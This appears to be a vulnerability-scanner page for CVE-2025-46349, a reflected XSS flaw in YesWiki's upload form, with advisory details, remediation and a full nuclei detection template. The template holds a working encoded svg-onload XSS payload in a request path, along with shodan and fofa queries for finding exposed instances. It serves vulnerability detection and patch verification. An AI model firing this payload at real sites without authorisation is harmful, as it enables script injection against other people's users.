YesWiki Reflected XSS via File Upload

highseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

51%of all CVEs are less likely

Readycheck to confirm it

YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.

Impact

Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.

Fix

Update to version 4.5.4 or later.

How to confirm it

Send: GET {{BaseURL}}/?PagePrincipale/upload&file=%22%3E%3Csvg/onload=alert(document.domain)%3E
Positive when: contains(body, "Upload form for file \"><svg/onload=alert(document.domain)>") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-46349 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-46349

info:
  name: YesWiki Reflected XSS via File Upload
  author: Mahmoud Gamal
  severity: high
  description: |
    YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 4.5.4 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46349
  classification:
    cve-id: CVE-2025-46349
    epss-score: 0.00643
    epss-percentile: 0.51187
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
  metadata:
    max-request: 1
    shodan-query: html:"yeswiki"
    fofa-query: body="yeswiki"
  tags: cve,cve2025,xss,yeswiki,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?PagePrincipale/upload&file=%22%3E%3Csvg/onload=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Upload form for file \"><svg/onload=alert(document.domain)>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from